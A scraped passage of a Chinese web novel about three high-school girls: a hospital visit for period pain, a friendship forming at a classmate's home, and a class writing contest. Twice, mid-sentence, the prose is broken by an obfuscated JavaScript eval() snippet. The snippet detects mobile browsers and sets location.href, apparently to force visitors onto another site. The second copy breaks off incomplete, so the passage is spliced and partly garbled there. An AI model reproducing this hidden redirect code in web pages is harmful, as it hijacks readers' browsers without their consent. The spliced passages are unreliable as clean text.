林羽翼迅速跑回诊室走廊,正午时分,医生休息去了,走廊上排队的人也早已散去,消毒水的气息覆盖过一切痕迹。 走廊尽头的长椅上,张潇扬虚弱地坐在上边,闭眼靠着墙壁,似乎已经睡着了。 林羽翼刚一靠近,还没有说话,听到脚步声的张潇扬便忽的抬起头,泪眼婆娑地望向她。 “午饭买来了,是热粥,皮蛋瘦肉粥,你喝吗?”林羽翼拆开包装。 “……不喜欢。”张潇扬含糊地摇头,“想喝甜的。” 林羽翼早知道大小姐要闹幺蛾子,她无奈地拆开八宝粥:“八宝粥,甜的,喝吗?” 张潇扬纠结一下,苦兮兮地点头。 “自己能喝吗?”总不能还要别人来喂您吧? 看着张潇扬朦胧可怜的目光,林羽翼知道自己猜对了,她小心翼翼地舀一勺粥,吹了吹,确定不烫了才送到张潇扬唇边。 “努力喝半碗粥,吃半个鸡蛋,然后我们就吃药,吃完药就不疼了。”一边喂,林羽翼一边努力地哄着大小姐。 “茶叶蛋?” “嗯,这个。”林羽翼指了指。 “不要。”张潇扬摇头,“不要吃茶叶蛋。” “……啊?” “看着脏,不想吃。”张潇扬语气弱弱的,听上去竟然有些心虚,丝毫不复平日里那股子自内而发的自信劲儿。 “脏?”林羽翼简直被气笑,“你抱了这么久的热水袋更脏呢,大小姐,你不会没吃过茶叶蛋吧?” 张潇扬默认地眨巴眼。 林羽翼看着她脸上的泪痕,妥协地哄着:“光喝粥填不饱肚子,到时候吃了药胃疼怎么办?茶叶蛋不脏,只是看着有点乌漆嘛黑,其实很好吃的。你现在有力气自己喝粥了吗?我帮你把鸡蛋剥好,可以吗?” 张潇扬犹豫几秒,在林羽翼温和的目光攻势下,最终点了头,乖乖地自己抱着粥碗。 林羽翼剥好茶叶蛋,还贴心地用勺子将蛋白切开,才递给张潇扬:“尝尝吧。” 张潇扬不动。 “不会这也要我喂吧?”林羽翼认命地把鸡蛋送到张潇扬唇边,哄小孩一般,“来,尝尝,啊——” 近距离对视下,林羽翼忽然发现,张潇扬那双桃花眼是真的很漂亮,黑色眼珠如黑亮亮的大葡萄,眼尾的红晕仿佛上了一层淡妆。尤其这会儿,张潇扬眼里泪珠还没干,眼里水雾朦胧,异常乖巧可怜。 不像平日里,总给人一种距离感。 “啊——”林羽翼见张潇扬不动,又哄了一声。 张潇扬沾着泪的睫毛忽的上下颤抖一下,目光慌张地移了移,她从林羽翼手里接过茶叶蛋:“我自己吃。” 大小姐愿意自己吃东西,林羽翼当然不会反对,她立马将药拆开准备好,看着大小姐小口小口吃下茶叶蛋,她的眉眼随之弯起: “怎么样,好吃吧?没骗你吧。” 张潇扬小声嗯了声,表情还有些抗拒,嘴巴却诚实地动个不停,竟然把一整个鸡蛋都吃了。 林羽翼递上药片:“止疼药,就着粥一起吃。放心,很快就吞下去了,不苦。” 张潇扬看着两颗白色药片,做足了心理准备,猛地一仰头,把药片扔进嘴里,再灌一大口粥。她这视死如归的模样,把林羽翼逗笑了。 “好了,等几分钟就不疼了。”林羽翼从她怀里拿走逐渐变温的热水袋,“你坐一会儿,我去给热水袋换水。” 林羽翼把热水袋换好热水,狼吞虎咽三两下吃完自己的那份午饭,把垃圾收拾好。旁边,张潇扬撑着下巴,看着她,软糯糯地说:“林羽翼,你怎么这么会照顾人?” “我?会照顾人吗?”林羽翼怔了片刻,目光微黯,“可能是因为……以前家里有个病人吧。” 林羽翼坐在张潇扬身侧,撑着下巴,看着空荡荡的医院走廊,思绪飘飘忽忽。一年多了,广都医院一点儿变化都没有,真是奇怪,走廊上明明灯光那么明亮,却让人感觉那么黯淡空洞,偶尔经过的人影就像鬼魂一样。 她真的…… 一点儿也不喜欢医院。 不喜欢浓烈刺鼻的消毒水的味道,不喜欢幽暗的长走廊,不喜欢鬼影一般来来往往的人影,不喜欢……不喜欢看见躺在病床上虚弱无力的父亲。 如果父亲还在就好了…… 真是的,都一年多了,怎么偏偏这两天时不时就会想起? “林羽翼……?” 林羽翼发了一会儿呆,忽然被张潇扬的声音唤醒,她下意识问:“你好些了吗?还疼吗?” “没那么疼了。”张潇扬的声音明显没那么虚弱了,她反问林羽翼,“你刚才在发什么呆?” “没什么。”林羽翼下意识摇头,脸颊上紧接着露出一个淡淡的笑,她用冰凉的手掌揉揉脸颊,“只是突然想起我爸了,他生前经常来这里看病。” 林羽翼声音很轻,张潇扬差点没听清她在说什么。 张潇扬转头,看向林羽翼的侧脸。少女懒散地捧着下巴,脚尖自在地在地面上轻轻敲打着,她的侧颜神色看似释然,可眼中流露出的悲伤情绪,怎么也挡不住。 张潇扬无措地张了张嘴:“对不起啊……林羽翼。” “啊?你道歉干嘛。”林羽翼呼口气,没想到大小姐的心思竟然会如此细腻。 张潇扬的回答却出乎她的意料:“因为我没法和你感同身受,林羽翼,我爸还活着,可在我看来,他还不如死了呢。” 张潇扬说完,双手抱着脑袋仰靠在椅子上,长长地叹了口气。 “你和你爸关系不好?” “哈,”张潇扬嗤笑,“何止是不好。” 林羽翼沉默着揉揉脸,没有再多问,张潇扬的话匣子却打开了,一时停不下来:“就算我死在我爸面前,他也不会有一点儿反应,他眼里就只有钱!哈,把我养这么大也是,除了钱,什么都没管过我,我和我哥就是他的两个工具而已,他想把工具往哪儿扔,随手就那么扔了,丝毫不会考虑我们的想法。说不定,他巴不得我死了呢。” 有钱不好吗?林羽翼没有问出口,她设身处地想了想,如果哥哥只给她钱来养活她,不陪她玩,不和她聊天说话,不关心照顾她,那么她对哥哥也不会有很深的感情吧。 似乎张潇扬每次提到父亲,都是一副厌恶的表情,包括今天她不让林羽翼打电话给家里人时,那么倔强的样子,完全不像是不想让家里人担心,而是…… 不想被家里人漠视。 林羽翼还以为,像张潇扬这种备受宠爱的娇滴滴大小姐,不会有什么烦恼呢。林羽翼想到了书上看见的一句话,幸福的家庭千篇一律,可不幸的,各有各的不同,原来张潇扬也是不幸的。 “下午我们去哪儿?”张潇扬骂骂咧咧一阵,逐渐消了气。 “不回学校吗?”林羽翼反问。 “不想回学校。”张潇扬皱紧了眉头,扯了扯自己的睡衣衣摆,碎花边被她扯得变形,“穿着这一身在街上晃悠,丢死人了。” “大小姐,你这时候知道在意形象啦?”林羽翼上下扫了张潇扬几眼,她穿着可爱的碎花睡衣,抱着一个灰扑扑的热水袋,看起来比平时那股子矜贵的样子亲和许多。 同时,林羽翼心里松一口气,知道在乎形象了,就说明张潇扬已经痛得不是太厉害。 “我就在乎嘛,不行吗?”张潇扬理直气壮,对上林羽翼扫视的目光,她脸颊上泛起一抹红,局促地在长椅上蜷起身子。 “行行行,都行都行,可我们不回学校能去哪儿?”林羽翼试图讲道理。 “去酒店,开一间房——附近不是有家广都大酒店吗?然后你去贸易城给我买衣服。”张潇扬丝毫不讲理地指挥道。 这年头酒店管得不严,没有身份证也可以开到房间。 “大小姐,您带了钱吗?”林羽翼两手一摊,“我可没那么多钱。” “……”张潇扬嘴一撇,她早晨痛成那样了,怎么可能记得带钱嘛。 不过张潇扬的话倒是提醒了林羽翼:“行了行了,大小姐,别不开心了,我知道能去哪儿了。” 广都大酒店离医院不远,同样,师涟家租住的房子也离这里不远。 张潇扬眼睛倏地亮起,期冀地看着林羽翼。 “大小姐,你愿意走几步吗?医院外面有家电话店,我去给师涟打个电话——她家就在这儿附近,如果她在家,我们就过去换衣服,成吗?如果她不在,我们就去广都大酒店,不过不是去开房间,而是麻烦您屈尊借用一下那里的员工休息室。” “打电话?我带了小灵通。”张潇扬竟然从睡衣兜里翻出一个小巧的粉色翻盖手机,递给林羽翼,“喏,直接用就是了。钱我忘带了,可这玩意儿我随时都揣在兜里的,上课无聊的时候偷偷来把俄罗斯方块,养成习惯了,嘿嘿。” 林羽翼不知道什么是俄罗斯方块,她怔了一下,下意识伸手接过翻盖手机,生疏地握紧了。她小心地把翻盖掀开,看着小小的屏幕和下面的九个案件,迷茫地抬头向张潇扬求助:“……怎么打?” 张潇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971543|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬没想到林羽翼没碰过手机,同样愣一下:“直接摁数字,然后摁通话键——绿色的按钮,和座机电话一个样。” 林羽翼点点头,拨通电话,小巧的手机拿在耳边,和座机的感觉完全不一样,她莫名有点紧张。 很快,电话接通,听筒对面传来师涟清冷的声音: “喂,您好?” “师涟,是我!还有张潇扬。”听见师涟的声音,林羽翼倏地放松下来,脸上绽出一个笑,“你现在在家吗?我们方便来你家不?嗯……到了再和你解释怎么回事儿!” “方便,来吧。”师涟的回答很简洁,但就算是这么简单的几个字,她对林羽翼说出口时,语气中都藏不住温柔的笑意。 “好耶!五分钟就到!”林羽翼把手机还给张潇扬,“走吧,需要我扶着你吗?” “不用。”张潇扬摇摇头,稳定地站起身,从她的动作能看出来,止疼药效果非常好。 通过医院后门的小道,沿着无人想小巷往前走,没几步便是师涟租住的地方,这里是一连排的破败小楼,一楼租给别人当仓库,二楼才是师涟一家住的地方。 “前面左转就到了。”林羽翼熟练地拐上楼梯。 “你经常来师涟家?”张潇扬跟在她身后一步,探究地问。 “嗯!周末我经常来这里和她一起学习。”林羽翼重重点头,敲响房门,“师涟——!我们到啦!” “进来吧。”大铁门吱嘎地从里面打开,师涟看见穿着睡衣的张潇扬,眸中闪过一丝诧异,又立马消失,她没有问发生了什么,“需要换衣服吗?衣柜里有一套才洗好的新衣服,我还没穿过。” “谢谢师涟。”张潇扬眉眼弯起,快步走进屋里。 “累死了累死了——师涟,有水喝吗?”林羽翼毫无形象地往沙发上一躺,如果不是沙发太小,她就要在上面打滚儿了。 “……有。”师涟语气轻柔又无奈,“我去给你倒。” 张潇扬关上卧室门之前,目光若有所思地从她们脸上划过,她的眼眸里闪过一丝黯淡的光,神色略有些羡慕。她换衣服换得有点久,接近十分钟,才抱着暖水袋从屋里走出来。 师涟的这套新衣服是一件浅褐色针织薄毛衣,配上今年流行的黑色喇叭裤,师涟穿的话刚刚合适,可是在张潇扬身上,就显得稍稍有点大,恰到好处地削弱了自身张扬的气场,把她衬得娇小瘦弱。 “张潇扬,等生理期过去,你要记得去中医院检查。”沙发上坐不下三个人,林羽翼去搬了一条椅子放在旁边,准备自己坐椅子,把沙发位让出来。 林羽翼转身去暖水壶接杯热水的功夫,大小姐张潇扬竟主动坐在椅子上,木质椅子很硬,她坐得有些不习惯,却没有挪开的意思。 “师涟,林羽翼,谢谢你们。”张潇扬捧着从林羽翼手里接来的热水杯,声音很轻很柔,或者说,很认真。 “谢什么谢!”林羽翼摆摆手,“我们是一个组的同学,互帮互助不是应该的嘛!再说了,你还给我们送过礼物呢!” 张潇扬转学来广都的第一天,给寝室里每个女生都送了一罐身体乳,顺带给林羽翼、师涟也各捎了一罐。难怪她的行李箱那么重,装着电脑,还装着身体乳。 张潇扬笑了笑:“林羽翼,之前我没主动接触过你,因为我总觉得,你在避着我。” “啊,我……”林羽翼挠挠脑袋,一下子卡壳,做坏事被抓现行似的心虚,她掩饰地笑了笑,“我之前总觉得、觉得我们不是一个世界的人……哈哈,你就当我自卑吧。” 林羽翼说话时,不自在地舔了舔舌尖,暴露出心底最真实的想法。 本来就是自卑。 却要用这般故作不在乎的语气说出来。 好在,张潇扬并没有察觉她的小动作,张潇扬抱着热水杯,语气中同样藏着点儿紧张,漂浮的声音里还透着些许期待:“那么,我们现在是朋友了?” “嗯!”林羽翼重重点头,眉眼弯得像月牙。 张潇扬微微紧绷的身体倏地放松一些,她接着看向师涟: “师涟,其实我之前有点怕你,总觉得你冷冰冰的,一点儿人情味都没有。与其说是不想,我其实更多是不敢和你说太多话。” 林羽翼若有所思地点点头。 班上别的人也是这么觉得的。 高一都快过去了,师涟在班上好像还没有什么朋友,她长得好看,学习成绩好,在班里……甚至在整个学校里,都是男生眼中的焦点,但很少有男生,不如说根本没有男生敢主动和她接触,就算是借着请教作业的借口都不敢。 相反,和师涟气质接近,同样优雅端正、温柔漂亮,但为人随和的申树在班里人缘就非常好,无论是男生还是女生,都很愿意和申树聊天。 申树分手那天,每一节课的课间,都有人来座位边安慰她。 或许是师涟的气质实在太冷了吧,让人觉得太遥远,太不敢靠近。唔……就连杨老师对师涟说话也总是客客气气的,像是在对待同等的大人。不过林羽翼实在没想到,张潇扬这样的大小姐,也会和“普通人”有同样的感受。 都是人嘛。 原来,不管身份、出生,只要是人,就一定会在某些时候,和别人有着相同的感受。成熟的长辈、见多识广的城里有钱人,在这种时候,和普通人没有任何区别。 可为什么自己没觉得师涟很遥不可及呢?一定是因为……自己和师涟很有缘嘛!从见面第一天开始,她们就是命中注定的朋友!林羽翼弯着眉眼抱起师涟的手臂晃了晃。 张潇扬看着她们的互动,眼里浸着笑:“直到刚才,还有现在,我看见你和林羽翼相处的样子,忽然发觉原来你也挺可爱的,呵……用可爱这个词形容或许不太准确,反正,不那么让人觉得害怕了。” “我只是不太想在高中这个年龄段,把时间花在社交上。”师涟语气轻柔,“但我并不介意交朋友。” 林羽翼听得重重点头,师涟内心其实很柔软的,只要厚着脸皮和她靠近,她就会对你很好很好。 张潇扬埋头抿一口热水,语气轻快:“那么,我的两位新朋友,你们下周末有空吗?” 看见两人点头,张潇扬继续道:“我想邀请你们一起吃饭,就当是我对今天的答谢,好吗?” “好呀好呀!吃什么?”林羽翼随即反应过来,“喂,要是不答谢我们,你就不邀请我们一起吃饭啦?这还是朋友吗?” “我不是这个意思!”张潇扬被林羽翼逗得跺了跺脚,随即问,“你们想吃什么?” 师涟的回答是“都行”,不是故意为难别人,她是真的吃什么都不在乎。 林羽翼也想说都行,可她犹豫了一下,脑海里回想起开学去火车站接张通蜀的那天,她们想吃却没吃成的肯德基。可是肯德基很贵,就算张潇扬有钱,让她请客也不太好…… “哎呀,”张潇扬注意到林羽翼的犹豫,“你们定不下来的话,我自己做决定咯?反正我让我哥请客,你们随便吃,到时候咱三好好宰他一顿!” 在林羽翼纠结开口之前,师涟瞟她一眼,忽的轻轻改口:“要不我们去城里吃肯德基?” “好。”张潇扬有些诧异地挑眉,但没有表示反对,她想了想道,“去春熙路吧,我叫我哥开车送我们去,吃完顺便一起逛逛街,晚餐也可以顺带在那里吃——我来决定吃什么。” “好耶!那就这样说定了!”林羽翼靠在师涟肩上鼓掌。 张潇扬喝完最后一口热水,目光停留在林羽翼二人身上,深邃漂亮的眼眸此时显得很认真,长长的睫毛挡住她眼底沉沉浮浮的杂乱思绪: “林羽翼,师涟,其实开学第一天见到你们的时候,我就有一个问题想要问,你们……” 她的声音忽的顿住。 “啊?”林羽翼不解地眨巴眼,靠在师涟肩上蹭了蹭,“什么问题?” “没什么。”张潇扬摇摇头,眼里的杂乱思绪散去,只剩下笑,“我只是觉得,你们的关系真好,我很羡慕,我从来没有过像你们俩关系这么好的朋友。” “那是!”林羽翼笑得愈发灿烂,“我和师涟是一个老家出来的嘛!” 师涟安静看着张潇扬,她的眸光幽深,似乎看出什么,但她什么也没有说。 24.第11章(上) 周一。 升旗仪式结束后的自由活动时间,教室里乱糟糟的,下节是语文课,申树正招呼着另外几个同学和她一起发卷子。 拿到语文卷子,林羽翼没有第一时间看错题,而是翻到作文页,看一眼作文的分数——49分,是她的正常水平。收起卷子,她做贼似的往课桌前后看了几眼。 前排,张潇扬一手扶着脑袋,一手在桌子上扶着游戏机——好像叫什么GB游戏机,林羽翼不了解。张潇扬懒懒散散盯着屏幕,拇指在按键上动得飞快,一点儿偷偷摸摸藏着玩儿的想法都没有。 生理期的疼痛过去,大小姐又恢复平常那张扬肆意的姿态。 身侧,师涟拿到语文卷子,正皱着眉认认真真地检查扣分点。 “师涟,你看——”林羽翼戳戳师涟的手臂,紧张地呼口气,从抽屉里拿出笔记本,手指不自觉地把本子边缘捏出皱褶,她翻开自己写的小说。 “什么事儿?”师涟听见林羽翼的声音,几乎立刻放下手里的卷子看向她,让她没那么紧张了。 “我、我有东西要给你看……”林羽翼舔舔唇,说话结结巴巴,甚至有点前后颠倒,“我看小说看得热血上涌心血来潮,自己也写了一小段,没、没忍住嘛,你要看看吗?” 林羽翼嘴上说的问句,手却已经迅速把本子塞到师涟怀里,生怕她不看似的。 “什么小说?”师涟黑眸中闪过一丝惊喜,随即埋头看向本子上密密麻麻的字。 林羽翼挠挠头:“《绝代双骄》,你看过吗?我不喜欢小说里两个男主明明是双胞胎,却因为阴谋互相猜忌互相试探的情节,我觉得太惨了点儿,所以自己做了些小改动。” 《绝代双骄》是古龙最火的小说之一,再加上它改编的电影大火,师涟就算没看过,或多或少也了解过一些。 林羽翼眨着眼,小心翼翼地观察着师涟的表情。 师涟盯着笔记本,看得很认真,除此之外,看不出别的情绪。林羽翼只觉得自己越来越紧张,整个嘈杂的教室仿佛都离她远去,那些吵吵嚷嚷的声音仿佛隔了一层膜,她只看得到师涟近在咫尺的侧颜。 时间一秒一秒地过去,林羽翼只感觉心上有蚂蚁在爬,她希望时间过得快一点,她等得太煎熬了,可她又希望时间过慢一点—— 废话,要是师涟一下子看完了,不就说明她写的东西压根不吸引人吗! 终于,师涟抬起头来。 “读完了?”林羽翼蓦的松一口气,可心脏立马提紧了,等待着师涟的点评。 “没有。”师涟摇摇头,轻笑着问,“盟主真的是百花女侠杀的吗?” 在林羽翼的故事中,小鱼儿与花无缺两兄弟携手闯江湖,自然遇到了不少麻烦,也卷入不少纷争中,其中他们遇到的最麻烦最棘手的一件事,便是武林盟主谋杀案。 听着师涟的问题,林羽翼彻底松口气: 师涟对她的故事感兴趣! “嘿嘿,不告诉你。”林羽翼眉眼嘚瑟地往上勾,“你继续看嘛,很快就知道了。” 师涟目光回到笔记本上。 林羽翼凑到她身侧,和她一起看。这回,她不再觉得紧张了,看着纸上一行行文字,她的一颗心简直快要飘起来。 写得也太好了! 啧,不愧是她! “怎么样怎么样?”等到师涟看完整个故事,林羽翼立即问。 师涟似乎还沉浸在故事中,隔了几秒才回答她:“好看。” “就、就只有这么一点儿评价?”林羽翼眨巴眼。 “因为的确很好看呀。”师涟拇指缓缓抚过纸张上的字迹,“和原作里的腥风血雨不一样,你笔下的江湖虽然有风云诡谲之处,可总体是温馨闲适的,两个自由自在的少年,两颗真挚澄澈的心,一同携手,不断行走在人烟纷纷的江湖中,遇见不平时便拔刀相助,精疲力竭时便归隐尘世,与心爱的女孩子一起,悠闲地把日子过下去。” “我很喜欢这样温暖的小故事,如果我出生在那个年代,一定会很向往两位男主这样的生活吧。”师涟托着下巴道,“林羽翼,你写得很好。” 林羽翼反而被师涟夸得不好意思,脸颊微烫,嘿嘿地傻笑:“平淡闲适的江湖生活,这正是我想表达的。” “喂,你们在聊什么呢?”前排,张潇扬忽然转过身,游戏机被她扔到一旁,她打个哈欠,“刚才就听见林小鸟在那儿叽叽咕咕的,吵不吵。” “我写的小说,你要看吗?”林羽翼问。 师涟下意识把笔记本往自己身前拢了些,听见林羽翼想把小说给张潇扬看,她才稍稍把本子往前递。 “好呀好呀!”张潇扬拿走笔记本,立马津津有味地读起来。 林羽翼并不在意她的评价,转头和师涟一块儿讨论:“师涟,我还想写他们归隐尘世后,一起在京城里做生意、开当铺的后续,他们把生意做得越来顺大,最后成为天下首富!可我怕比起江湖故事,做生意会不会太无聊太平淡了些?你觉得呢?” “无聊?”师涟下意识反问,“既然做成了首富,又怎么会无聊呢?而且故事前面已经很好看了,后面又怎么会差呢?我很期待你的后续。” 这个世界上狗尾续貂的故事可多了去,但师涟的目光无比认真,没有丁点儿哄林羽翼的意思。 林羽翼揉揉发烫的耳垂:“那我一定好好写——!” 她补充了一句:“在课余时间。你放心,我不会让它影响到学习的。” “我靠!林小鸟,你牛逼啊——!”张潇扬看完林羽翼的小说,大咧咧地转过身,一点儿也不掩饰语气中的佩服,“你这文笔,都能去当小说家了吧?” “那是。”面对张潇扬的夸奖,林羽翼倒是丝毫不害羞,骄傲地仰起脑袋。 “你们在聊什么呢?”接近上课,申树终于发完卷子坐回座位上,温声问。 “在聊我们大作家的小说,武侠小说,可厉害了。”张潇扬指一指手里的笔记本,“林羽翼,你藏得够深啊,大半学期过去,我现在才知道你会写小说。” “我能看看吗?”申树好奇地问。 “嗯……当然。”林羽翼不自在地点点头,倒不是她不愿意让申树看,而是…… 好吧,她承认,她的自卑又发作了。 从小学到初中,林羽翼一直被身边人——爸爸、哥哥、学校里的老师同学夸文笔好,在林羽翼小时候,她也的确因此而自豪过,但是渐渐长大,在屡次参赛没得奖、投稿没被选上后,林羽翼渐渐明白,自己其实没那么擅长写作。 她写不出辞藻华丽的句子,也不会引经据典讲大道理,她只是……比较喜欢写故事而已。 申树却不一样。 高中开学报道的那一天,申树在自我介绍里就展露了自己多么多么有文采这件事,在之后的相处中,林羽翼逐渐了解到,她没能获奖的作文大赛,申树获过奖,她投稿从没被杂志社选中过,可申树的文章上过报纸—— 稿费千字一百元呢! 申树是班里公认的才女,是当之无愧的语文课代表。 申树的语文成绩常年霸占着班级第一,甚至年级第一的位置。 在语文考试中,最拉分的题目当然是作文。 高中阶段,作文六十分满分,大多数人只能拿个四十分,四十五分以上已经很不错了,少有人能够保持在四十八九分。能在作文里取得五十分的学生更是少之又少,高中后总共七次正式考试,林羽翼的作文只有两次上了五十分。 当然,这个成绩已经很耀眼了,毕竟师涟的作文分数也才一直在四十六到四十八之间徘徊。 而申树的作文成绩呢?就没低过五十分! 最高五十六,最低五十一,她的作文几乎次次都被语文老师拿来当范文。 有她在前面,自然没有人会注意到林羽翼的作文成绩。 林羽翼并不觉得酸涩,她非常清楚申树是真有文采,每次听老师念申树作文的时候,林羽翼都会不自觉地想,那些美妙优雅、华贵晦涩的辞藻,她一辈子也写不出来。 和申树相比,她简直是个粗俗的文盲。 林羽翼作文不出众还有个原因,她的语文成绩实在太差了,在作文远超过平均分的同时,她的语文总分一般只有一百一十分出头,差的时候甚至只能考一百零几分,在班里排中下,实在很难引人注意。 林羽翼没等到申树对她的小说发表评价,上课铃已经打响,语文老师抱着教科书风驰电掣走进班里,“嘭”一声放下书本,满脸洋溢着笑。 看得出来,她对一班半期语文考的成绩很满意。 “老规矩,今天我们讲卷子,还是从作文开始讲起,申树你准备一下,待会儿把你的作文朗读给大家听。”她笑眯眯地看向申树,随即大手一挥,指一指班里其他人,“唉你们啊!要都能像申树一样好好写作文就好了,申树她这回又拿了五十六分,年级第一!你们呢?你们硬生生把咱班的作文平均分拖到了四十二!啧啧啧,人家三班五班平均分都比你们高!” “老师,我们是理科班啊!三四班是文科,我们怎么能和他们比!”班上立马一片嚎叫。 “文科怎么了?你们虽然是理科,但你们是理科第一呀!咱们就得有超越文科班的气势!下次必须把作文给我提上来啊!”一班的语文总平均分排名是理科第一,所以语文老师并没有真生气,她脸上很快露出笑,话题一转,“说到作文,我顺便说个题外话啊,今年市里的作文比赛开始了,你们谁感兴趣?课后去申树那里报名。申树,你的信息我已经报上去了。” 语文老师说得差不多,便喊申树上讲台念作文。 申树轻车熟路走上台,丝毫没有怯场: “何为梦想?” “只有诗人和圣徒才会相信,在沥青路面上辛勤浇水,会培植出娇艳的花儿来。在大作家毛姆笔下,这便是梦想。” 这次的作文主题是《人生逐梦正当时》,文体要求是议论文。 申树以毛姆书里的句子开头,紧接着引出她自己的观点:梦想其实并不是那么虚无遥远的东西,它也可以在我们身边。抽空多陪陪年迈的外公外婆,把自己的生活打理好、不给爸爸妈妈增加负担,努力学习争取考个好大学,这些微不足道的。看似每个人都在做的日常,其实也能是梦想。 谁不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这学期开始,林羽翼对学习的冲劲儿已经没上学期那么强了,但她依然握紧了拳头,心里随之释然。是嘛,申树虽然有文采,是个厉害的才女,可申树总成绩不如她啊! 她还是有一点儿优点的! 干嘛要去羡慕别人的长处?守好自己的优点就是了嘛。 下课铃响,在林羽翼忐忑的期待中,申树读完林羽翼的小说,将笔记本递还给她:“很精彩的故事,我其实不太喜欢《绝代双骄》原作的前期,总觉得太阴沉灰暗了,你改得很好,我很喜欢。小鸟,你经常写小说吗?我能看看别的吗?” “啊我……”林羽翼没想到会从申树这里得到真挚温柔的夸奖,她揉揉脸,小声说,“我只写过这一章。” “那以后你写的新书,一定要告诉我啊。”申树轻声说,停顿片刻,她主动问,“这次作文比赛,你要参加吗?” 林羽翼怔住,一时没有回答。 她下意识想摇头,可她清晰地感觉到,在听见申树的问题那一刻,她的心脏漏了一拍。时间仿佛滞在那一刻,血液在血管中轻轻翻腾,从脊椎到脖颈,蔓延出一丝电流感,直击脑门。 作文比赛? 她……要参加吗? 以她的水平,就算参加了,也不可能拿奖吧,就像以前无数次参赛一样。 可是…… 林羽翼犹豫间,忽然发现,师涟正看着她,等待着她的回答。那双向来沉浸冷淡的眸中,浸润着无比深沉的期待。 她要参加比赛吗? 重点不是她能不能获奖,而是……她想不想参加。 她想。 心脏的悸动、脊椎的电流感不能骗人,她骗不了自己,她想参赛。 “好呀,把我报上去吧。”林羽翼咧起嘴唇,露出一个甜甜的笑,“麻烦你啦申树。” “不麻烦不麻烦,我们一起加油。”申树笑得温柔,“舅舅家里有一些作文工具书,我明天把书带来学校,我们可以一起看书,遇到什么问题,我们可以一起探讨。” 申树这学期没有继续住校,她搬去了在学校附近工作的舅舅家里。 “申树你真好!”林羽翼从座位上弹跳起身,给申树一个大大的拥抱。 申树的确是个很好的女孩子,温柔和善,对所有人说话都细声细气的,再加上小白花儿似的气质,实在很难惹人讨厌。一直以来,林羽翼只是羡慕她,从未有过一丁点儿嫉妒的情绪。 林羽翼没注意到,在她们拥抱时,旁边拿着GB游戏机的张潇扬余光瞥在她们身上,脸色似笑非笑,嘲讽地轻嗤一声。 张潇扬不喜欢申树,她从来没有掩饰过这一点,她根本不屑于去掩饰。 当然,张潇扬并不是不喜欢谁就会去针对谁的那种人,再加上申树的确太过温柔软和,对谁都没有攻击性,在学校的时候,张潇扬与她始终保持着表面的客套。 因此,林羽翼一直以为,张潇扬只是与申树交流得比较少,就像张潇扬以前和她交流少一样,只是不熟而已,一旦熟悉了,总能成为朋友。 后来林羽翼才发现,她会这么想,是因为她不够了解张潇扬,更不了解申树。 25.第11章(下) “林羽翼!起床了没!” 周末清晨,少女清脆的喊声的安静空旷的校园里扩散开。林羽翼正在阳台上洗漱,她探出脑袋往下看,看见张潇扬站在宿舍楼下的榕树边,踮起脚向她招手。 “就来就来!”林羽翼吐一口泡泡,含糊吼道。 吐出最后一口水,她急冲冲跑下楼。 五月初的气温渐渐蒸腾,春天还没过完,便有了点儿初夏的气息。林羽翼穿着一件轻薄的卡其色长袖卫衣,下搭宽松牛仔裤,张潇扬穿得更清凉,一条裙摆不过膝的黑色软皮质吊带连衣裙,浅灰色腰带系在腰间,尽显优渥的身材比。 张潇扬穿倒是穿了外套,那“外套”却只有右手袖子,一根黑色长皮绳从肩头编织成一个又一个蝴蝶的形状,一直缠绕到袖口,与其说是外套,反倒更像是个美观的摆设。 她的长发微卷,披散在身后,她看向林羽翼时,不经意露出耳畔的黑天鹅耳坠。 “喏,给你带的。”张潇扬抱着手臂,一只手抬起来,勾勾手指,上面挂了一个精致的纸质口袋,“小笼包和豆浆,是在我最喜欢的那家店买的,尝尝?” 见林羽翼没反应,她空着的那只手勾了勾发丝,清浅笑着问:“喂,林小鸟,你看傻了?我不过是稍微打扮一下,你就不认识人了?” 林羽翼看看张潇扬裸露在空气中的左手手臂,看看她白皙纤细的双腿,倒吸一口凉气: “你……不冷吗?” 见过张潇扬最脆弱的那一面后,不管她打扮得怎样时髦,林羽翼都不觉得有距离感,只是会回想起她生理期疼得发抖,趴在自己背上无声哭泣的模样。 一想到张潇扬看似张扬的皮囊下,藏着的是一个瘦骨嶙峋的脆弱小姑娘,林羽翼就忍不住关心她。 “哈——?”张潇扬勾着头发的手指一下子僵住,眉头费解地皱了皱,随即喊出声,“喂,我打扮了好久诶,好不容易和朋友出去玩,我还化了妆诶!你就这反应?你不觉得很好看吗?不夸夸我吗?” 林羽翼被训得一愣,乖乖地再次上下打量张潇扬,诚恳道: “的确很好看,可是,真的不冷吗?” “……”张潇扬吸口气,“不冷!” 林羽翼不太信:“你带外套了吗?要不我回寝室帮你拿一件?你生理期完全过去了吗?穿这么薄真的不会有问题……” 她的话还没说完,就被张潇扬恶狠狠地打断。 “不——用——!车上有衣服!”张潇扬气哄哄地把手上的东西塞给林羽翼,“别说话了!快吃!趁着东西还没凉!” 抱着温热的纸袋,林羽翼闻到里面散发出的诱人香味,浓郁的肉香,混着黄豆豆浆独有的清新豆香味,引得她肚子咕咕叫了几声。 牛皮纸袋非常精致,上面用黑金色字体印着“途记”的字样,林羽翼没听说过这家早餐店,但她看得出着东西一定很贵。 犹豫片刻,林羽翼拆开包装,对张潇扬露出一个笑:“谢谢。” “不谢。”张潇扬抱着手臂,“你不也帮我带了一周早餐吗?” 张潇扬早上起得晚,通常到教室的时候早自习都快结束了,哪儿有时间去买早饭?以前林羽翼和她不熟,但这周熟了过后,每天早晨都会顺手在食堂给她买一份粥。 